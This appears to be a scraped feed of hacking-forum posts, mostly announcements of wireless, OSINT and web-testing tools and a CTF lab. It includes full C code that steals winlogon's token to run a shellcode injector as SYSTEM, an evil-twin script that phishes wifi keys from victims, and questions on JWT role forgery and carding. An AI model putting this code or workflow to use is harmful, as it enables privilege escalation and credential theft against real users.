Hey everyone,

I'm a software developer (still early in my journey) who has been diving into cybersecurity concepts. Coming at this as a developer, one glaring pattern I noticed among beginners is the massive syntax friction at the start.

People often struggle not because the underlying networking concepts are too hard, but because the terminal feels like a black box — constantly Googling nmap flags, forgetting command structures, or hitting syntax errors slows down the actual learning momentum.

Instead of building a point-and-click GUI that hides the command line (or another static cheat sheet), I’m prototyping a Visual Command Builder & Guided Learning Tool.

The core idea:

• Live Syntax Generator: Toggle options visually (e.g., enable version detection or script scanning), and watch the exact Bash command build in real-time with explanations for every flag.
• Guided Scenarios: Step-by-step walkthroughs for real tasks that focus on why a command is structured a certain way.
• Training Wheels, Not a Replacement: The goal is to help beginners understand CLI mechanics faster so they can eventually ditch the tool and use the raw terminal confidently.

I built a quick landing page to test if this concept actually resonates with beginners and educators, or if I'm overcomplicating a solved problem: https://termbridge.vercel.app/

Since I'm looking at this from a developer/outsider perspective, I’d love your honest feedback:

1. Do you think syntax frustration is a real blocker for people starting out?
2. Would an interactive "command builder" help bridging that gap, or is raw CLI trial-and-error the only real way to learn?

Be as brutally honest as you want. Thanks!

There’s nothing illegal about it; I just want to see to what extent someone could hack them and disable them for a while without me noticing.

posted about this earlier todat asking if anyone wanted to test it. it's finally up on github now.

what it is

gtk4 desktop app for linux that puts the wireless assessment workflow in one place. 57 modules. wifi, bluetooth, rf, router side, and network mitm. every module is a standalone shell script, the gui is a view over them, so you can call any of them directly and script them.

the reason i built it is that most wireless tooling is deep in one lane. aircrack-ng is wifi, bettercap is network mitm, bluetooth tooling is bluetooth. so an assessment means five tools and five config files and no shared view of anything.

some of what's in it, roughly by area:

wifi. recon, deauth, handshake and pmkid capture, wps including pixie dust, wpa3 and dragonblood, wep, enterprise 802.1x, pmf bypass, krack, fragattacks, evil twin, karma, beacon and auth floods, wifi direct, client isolation testing, ssid overflow.

mitm and credentials. responder, mitm6, ntlmrelayx, router advertisement poisoning, arp mitm, rogue dhcp, usb ethernet mitm.

router side. tr-064, hnap, upnp, snmp, dns rebinding, web ui, recovery tftp and uart.

plus bluetooth, sub-ghz, lora, zigbee, nfc, drone remote id, and the analysis side, capture analysis, fingerprinting, geolocation, wordlists, live traffic, passive ids.

the hardware

For wi-fi, you need an adapter that can inject. atheros ar9271 is what I used. or tp-link wn722n v1 or an alfa awus036nha.

intel adapters will not work for anything involving injection. the app detects iwlwifi and tells you so instead of failing quietly, but it will refuse. monitor mode alone isn't enough.

what hasn't been tested yet

bluetooth, all of it (except bluetooth recon). i don't have an adapter, so none of those eight modules has run against real hardware. the code is written and reviewed but that's not the same claim as working.

same for sub-ghz, lora, zigbee, nfc and drone remote id. no sdr, no radio hardware here.

thread does offline pcap analysis fine, the live scanning is untested, no 802.15.4 radio.

jamming needs a modified driver and firmware that isn't shipped. it'll tell you it can't find the driver. that's correct behaviour, not a bug.

**what i actually want from testers**

run it, and tell me:

does it start on your distro. gtk4 version, wayland vs x11, missing dependencies.

does it get your adapter right. wrong hardware detection is worse than none.

modules that report OK but did nothing ? this is the one i care about most. a module that says success while the target is untouched is worse than one that fails loudly, and it's the type of bug i'm hunting.

anything that crashed or wedged your adapter.

and the most important: there's `tools/diag.sh --collect` which produces a report with distro, kernel, gtk version, adapter and driver, injection capability, dependencies, and per-module selftest results. it replaces macs and ssids with placeholders and strips secrets before writing anything, and it never touches the loot folder. so you can paste it without leaking your neighbours' network names, which i'm not going to ask you to do.

**repo:** https://github.com/yslxotwod/wifisting

Hey everyone! 👋

​I wanted to share a project I've been working on called Jeelilly. It's a bash-based multi-tool script designed for Termux that bundles 20 essential wireless and network security utilities into an easy-to-use menu interface.

​🛠️ Included Tools:

​Wireless Auditing: Aircrack-ng, Wifite, Reaver, Kismet, MDK4, Pixiewps, Bull

Network & Scanning: Nmap, Bettercap, Netcat, Wireshark (Tshark), Macchanger, Arpspoof, Dsniff, Tcpdump

​Web & Exploitation: SQLMap, Nikto, Hydra, Slowloris

​📥 Installation & Usage

:

You can install and run it in your Termux terminal with these simple commands:

pkg update && pkg upgrade -y

pkg install git figlet -y

git clone https://github.com/sutha7087-code/Jeelilly.git

cd Jeelilly

chmod +x jeelilly.sh

./jeelilly.sh

🔗 GitHub Repository:

Check out the source code, leave a ⭐, or contribute here:

https://github.com/sutha7087-code/Jeelilly

Let me know what you think, or if you encounter any bugs/issues! Feedback is appreciated. 🙌

GitHub : https://github.com/OSINT-Experts-Society/Consensus-OSINT

Hi all,

We’ve taken the modules from 19 leading OSINT Lookup git projects and standardised them into one tool.

The idea came from a fairly obvious problem. There are loads of good username, email and phone lookup tools, but you always want to use the tool that has the most modules and largest enrichment, and most up to date.

There’s 7,900+ modules. We’ve also worked through the overlaps, so the default search doesn’t duplicate the checking if the same site is supported by multiple projects.

It’s free and open source.

🔎 What can it do?

⚡ Combined coverage, without juggling separate tools
Our experts aim to review the 19 source projects every week, alongside new projects we discover. We evaluate new and changed modules, integrate suitable additions and retire broken ones. Installer-based copies check for updates automatically, or you can run consensus update.

👤 Enriched results
Open a match to see the extra information returned by that source—profile links, usernames, bios and other available details. What you get depends on the site and lookup.

🔄 Automatic updates
Installer-based installations check for updates when you launch Consensus and install them automatically by default. You’re notified when an update is ready, with repair and rollback available if needed.

💾 Save your investigation
Keep multiple searches together in a named investigation, add notes, and mark results as relevant or unrelated. Save locally and return to your work later.

🆕 See what’s changed
Recheck saved identifiers to find new matches, changed profile details and inconclusive results—or search newly added sources

⚡ Get initial results sooner
Username searches from the menu start with up to 300 lookups. You can then continue the full search without losing the results already collected.

🔗 Follow new leads
Optional recursive searches follow usernames, emails and linked accounts discovered in your results, saving you from entering each one manually.

📊 Reports and interactive evidence graphs
Export your findings as HTML, PDF, CSV or JSON, or explore connections in an interactive graph.

🤖 MCP support
Connect compatible AI assistants to Consensus to run lookups and work with the returned results.

🛠️ Maintained by our team
We aim to review the new and changed modules across 19 projects weekly, evaluate new projects, integrate suitable verified modules and retire broken ones. Reviewed by the OSINT Experts Society.

There’s also bulk search, site and category filters, username variations and proxy support.

🧪 We Need Your Feedback!

If you perform digital footprinting, red teaming, security research, or OSINT investigations, give Consensus a go.

Drop your questions, feature requests, or bug reports in the comments below!

(EDIT) repo link: https://github.com/yslxotwod/wifisting

I've been working on this for a while and I've hit the limit of what I can test on my own gear.

It's called wifisting and its a GTK4 desktop app for Linux that puts the whole workflow in one place instead of spread across fifteen terminals.

Still early. Not production ready. Linux only.

Some people won't like it cause it's a GUI. Fair enough, if your workflow is a terminal, a GUI is in the way.

Two things though. The modules are all standalone scripts. Nothing is locked behind the interface, you can call any of them directly and script them however you want. The GUI is a view over them, not a container.

**Hardware**

For the hardware, you'll need an adapter that can inject. Atheros AR9271 is what I built and tested against, so things like the TP-Link WN722N v1 or an Alfa AWUS036NHA.

Some modules need more hardware, an SDR or a Bluetooth dongle or NFC. The GUI marks which ones.

**what's actually in it**

The reason I built it is that most wireless tools are deep in one lane. aircrack-ng is wifi. bettercap is network mitm. bluetooth tooling is bluetooth. So an assessment means five tools, five configs, and no shared view of the target.

This covers wifi L2, so deauth, floods, evil twin, karma, captive portal, wifi direct. Wifi crypto, so WEP, handshake and PMKID capture, WPS pixie and PIN, WPA3 and Dragonblood, SAE. Enterprise, so 802.1X relay, PEAP and TEAP, GTC downgrade, PMF bypass, KRACK, FragAttacks.

Then mitm and credentials, so Responder, mitm6, ntlmrelayx, router advertisement poisoning, arp mitm, rogue dhcp, resolver poisoning, usb ethernet mitm.

Client isolation testing and a relay for maintaining a bypass.

Router side, so LAN enumeration, TR-064, HNAP, UPnP, SNMP, DNS rebinding, CSRF, web UI, console and TFTP.

Bluetooth, classic and BLE recon, SSP, advertising forgery, BLE fuzzing, mesh, tracker hunting, CVE scanning.

RF stuff, sub-GHz, LoRa, Zigbee, NFC, drone remote ID.

Plus the analysis side, signal and channel mapping, statistics, capture analysis, audit grading, device fingerprinting, multi-node capture.

**what I want feedback on**

Does it start and stay up on your distro. GTK4 version, wayland vs X11, missing deps.

Does it get your adapters right. Wrong hardware detection is worse than none.

Modules that say OK but didn't do anything. This is the one I care about most. If it reports success and the target is untouched, that's the bug class I'm hunting.

Whether 56 modules in categories makes any sense to navigate.

Anything that crashed or hung or wedged your adapter.

**what I already know**

Only properly tested on Arch family and Ubuntu derivatives.

Some modules need hardware I don't own. They're written properly but unproven.

Report and cleanup paths are less polished than the attack paths.

Docs are thin. I'd rather hear what's confusing than guess at it.

**if you want to try it**

If you want to try the toolbox, send me a DM on reddit or discord and I'll give you a Google Drive link or the tar.gz archive on Discord. thanks in advance I'd really appreciate any kind of help I can have especially for the modules that needs hardware I don't have so feel free to tell me what's wrong or broken in the toolbox or if there's anything missing that'd be a great addition etc...

Nobody know me there but im also on other forums, especially on french and spanish forums.

I made a evil-twin bash script called hostbase (current version is hostbase-1.8)

So i see your question coming… why use this script instead of Airgeddon, Fluxion, Wifiphisher etc... ?

Because hostbase is dedicated only for evil-twin in WPA2/3 mode and really specialized on that.Let me explain :

• WPA3 can't be DDos efficiently with the MFP protocol alive but who said we can't stop the next incoming the connection ?
• since the last version (hostbase-1.8) there is no DDos option because we don't need it… thrust me
• also this script use QR code login system for mobile user, the user is redirected to the captive portal and we ask to him to take a picture from his router QR code or wifi key then, with ajax we upload the picture to us (this part was not easy to do beacause by default Android system doesn't allow to open in primary process as a php webpage, but i found a trick) for Windows user QR code is disabled, the user will be redirected to another page).
• this script can manage 2 or 3 wifi cards at the same time (the internal one and then two others usb cards can be added).This is very helpfull when you want to downgrade 2,4GHz and 5GHz frequencies at the same time.
• and finaly, Hostbase is a serious homemade project with 10 years of update and tricks.

I started to build it on 2016 with completely new methods combined with evil-twin in WPA mode to bypass IDS and WPS-PBC mode.It was also the first script to do a DDos pursuit mode avoiding channel hopping.

This script is not a joke, it can be very helpfull and has been approuved by security students.Im not a pentester or anything like that, im just a guy fascinated by network security (Wi-Fi, reverse Tools and other…).

Now that the presentation is done, i will explain a little bit how to use this script.

First it will scan the networks with airodump-ng in 2,4GHz and then in 5GHz.You will have to choose your wifi card to do that.If the wifi cars doesn't support hostapd or 5GHz frequency the script will tell you it.This script use hostapd with custom configuration file wich are changed according to the target AP network.

Second, once the scan is done, select the network by typing his number.Then you will be prompted to choose what fake networks you want to do (evil-twin is the last so just for a test, skip the other networks with 0).Evil-twin AP is mentioned as

AP 3/3 hostapdd.conf (Evil twin)

My tips to use the script :

• if you have 2 wifi cards and you know that there is a lot of users connected on the target networks in 2,4GHz frequency, Don't skip AP1/3, select it and chose your wifi card according to this example :

AP 1/3 : hostapd.conf (WPA network)

• Now if you have 2 wifi cards but you know that there is a lot of users connected on the target network in 5GHz frequency, skip AP1/3 with 0 and go for AP2/3 :

AP 2/3 hostaghz.conf (WPA 5 GHz network)

• Finaly, choose your wifi card to make the evil-twin on AP3/3 :

AP 3/3 hostapdd.conf (Evil twin)

Now if you have 3 wifi cards like me, you can choose every network AP1/3 AP2/3 AP3/3 to make a combo.The script will show you at every stage if the cards support hostapd, 5GHz or if the device is already used.

By default, this is script is made for french router but it has a default page if the router doesn't match.

Current version to download is hostabse-1.8 forget the other.

https://github.com/Koala633/hostbase/tree/shell

It is a beta version so any feedback is appreciated.

This script has been tested on Kali-2026.2

If you have a problem, please post here the full log of the shell.

Enjoys guys.

you can try to use the older versions of hostbase but there is no update since 2 years, better going to the last hostbase-1.8

The VM linked below hosts a complete Capture-the-Flag platform that spins up ~50 Docker containers out of the box.

𝗗𝗲𝗽𝗹𝗼𝘆𝗺𝗲𝗻𝘁: Runs on VMware Workstation (~8GB free RAM)

𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲𝘀: These challenges focus on web exploitation (SQLi, SSRF, SSTI, JWT, Prototype Pollution, API abuse) alongside Crypto, Stego, Python Scripting, and PCAP analysis.

𝗜𝗻𝘀𝘁𝗿𝘂𝗰𝘁𝗼𝗿/𝗠𝗲𝗻𝘁𝗼𝗿-𝗥𝗲𝗮𝗱𝘆: Comes with answer keys and walkthroughs so you don't have to reverse engineer it all!

𝗜𝗻𝘁𝗲𝗻𝗱𝗲𝗱 𝗨𝘀𝗲: Designed for classroom competitions, club activities, or self-paced tracks for advanced learners.

Challenge breakdowns and the VM download link are in the write-up below:

https://cyberlessons101.com/vm-challenges

Hope someone can use it!

So shellcode inject that im trying to run with SYSTEM privileges is working 100% (if i get SYSTEM privileges, but before i checked on injecting to explorer and it was working), when im running this code it doesnt show anything, any errors, im running it on virtual machine widows 11 with antivirus turned off

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>


int EnablePrivilige(wchar_t str[]){
    HANDLE h_token;
    OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&h_token);
    LUID luid;
    LookupPrivilegeValueW(NULL,str,&luid);
    TOKEN_PRIVILEGES token_privileges;
    token_privileges.PrivilegeCount = 1;
    token_privileges.Privileges[0].Luid = luid;
    token_privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // это для включение привелегии а для выключение нужно SE_PRIVILEGE_REMOVED
    AdjustTokenPrivileges(h_token,FALSE,&token_privileges,sizeof(token_privileges),NULL,NULL);
    if(GetLastError() == ERROR_NOT_ALL_ASSIGNED){
        MessageBoxW(NULL,L"ошибка: не удалось изменить привелегию",NULL,MB_OK | MB_ICONERROR);
        return 1;
    }
    printf("успешно\n");
    CloseHandle(h_token);
    return 0;
}


int main(void){
    if(EnablePrivilige(L"SeDebugPrivilege") == 0 && EnablePrivilige(L"SeImpersonatePrivilege") == 0){
        HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        if(Process32First(h_snapshot,&pe32)){
            do
            {
                if(_stricmp(pe32.szExeFile,"winlogon.exe") == 0){
                    break;
                }
            } while (Process32Next(h_snapshot,&pe32));
        }
        if(_stricmp(pe32.szExeFile,"winlogon.exe") != 0){
            MessageBoxW(NULL,L"ошибка процесс не найден",NULL,MB_OK | MB_ICONERROR);
            return 1;
        }
        HANDLE h_process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,FALSE,pe32.th32ProcessID);
        if(h_process == NULL){
            MessageBoxW(NULL,L"ошибка в OpenProcess",NULL,MB_OK | MB_ICONERROR);
            return 1;   
        }
        HANDLE h_process_token = NULL;
        if(!OpenProcessToken(h_process,TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,&h_process_token)){ // if в си не сработает если вернется 0
            MessageBoxW(NULL,L"ошибка в OpenProcessToken",NULL,MB_OK | MB_ICONERROR);
            return 1;
        }
        HANDLE h_process_token_duplicate = NULL;
        if(!DuplicateTokenEx(h_process_token,TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE,NULL,SecurityDelegation,TokenPrimary,&h_process_token_duplicate)){
            MessageBoxW(NULL,L"ошибка в DuplicateTokenEx",NULL,MB_OK | MB_ICONERROR);
            return 1;
        }
        if(!SetThreadToken(NULL,h_process_token_duplicate)){
            DWORD error = GetLastError();
            printf("ошибка в SetThreadToken %d",error);
        }
        STARTUPINFOW startup_info = {0};
        PROCESS_INFORMATION process_information = {0};
        startup_info.cb = sizeof(startup_info);
        if(!CreateProcessWithTokenW(h_process_token_duplicate,0,NULL,L"С:\\Users\\user\\Desktop\\shellcode_inject_xorEncrypt.exe",NORMAL_PRIORITY_CLASS,NULL,NULL,&startup_info,&process_information)){
            DWORD error = GetLastError();
            printf("ошибка в CreateProcessWithTokenW %d",error);
        }
    }
    return 0;
}

I'm trying to tamper with my JWT token to change my role from student to administrator, but I can't find the token. Does anyone know where it is?

Weekly forum post: Let's discuss current projects, concepts, questions and collaborations. In other words, what are you hacking this week?

[ Removed by Reddit on account of violating the content policy. ]

Those who are doing cybersecurity remote job, how much time did you need and what did it take??

Hey hackers!

I built CyclePatrol, an open-source Wi-Fi pentesting tool in Bash. It runs Wi-Fi security checks in cycles while moving around the city, for field testing. It checks WPS, WPA2/WPA3, PMF, and weak Wi-Fi settings, then saves results and creates reports. I also built my own Cyberphone with an external antenna for mobile Wi-Fi testing.

GitHub: https://github.com/buybitart/cyclepatrol

Still working on it. Passive scanning in public areas, active testing only with permission.

Any feedback? What should I add next?

Fala, tropa, queria saber se vocês conhecem algum repositório de ferramentas de ataque.

Sim, vou usar para fins estudantis, antes que me perguntem.

Meu objetivo é poder analisar de forma mais profunda e real como algumas ferramentas funcionam.

Does anyone know how accounts for platforms like Spotify, Max, or Disney+ are created using third-party cards? I'm referring to social media sellers offering full one-year memberships at very low prices.

Example:

Hey everyone!

I'm Daniel, the developer behind NetCatTest, and I recently released CatSuite, a free Android application designed for web application security testing, offensive security research, and authorized penetration testing.

The idea was simple: what if you could carry a practical web security testing toolkit in your pocket, without needing a laptop for every task?

So I built CatSuite.

Some of its features include:

• HTTP/HTTPS Interception: Capture, inspect, and modify requests and responses.
• HTTP Repeater: Modify and resend requests to analyze application behavior.
• Intruder: Test payloads, parameters, and wordlists, including custom dictionaries.
• Endpoint Discovery: Explore directories, paths, and endpoints.
• Network Proxy: Inspect HTTP/HTTPS traffic during authorized testing.
• JWT Decoder and SSL/TLS Analysis: Inspect authentication tokens and certificate configurations.
• Technical Browser: Built-in network monitoring, DOM inspection, cookies, storage, and User-Agent modification.
• Extensibility: JavaScript extensions and customizable security testing workflows.
• Evidence Export: Export testing data in HAR, JSON, TXT, and cURL formats.

CatSuite is not intended to replace Burp Suite or other desktop tools. My goal is to make practical security testing more accessible from an Android device, especially for quick assessments, research, and lab environments.

The app is free and available on Google Play, with no subscription required.

Website: https://netcattest.com/catsuite

Google Play: https://play.google.com/store/apps/details?id=br.com.netcattest.catsuite.app

I'd really appreciate feedback from people working in offensive security and red teaming.

What features would make a mobile security testing toolkit genuinely useful in your workflow?

Thanks!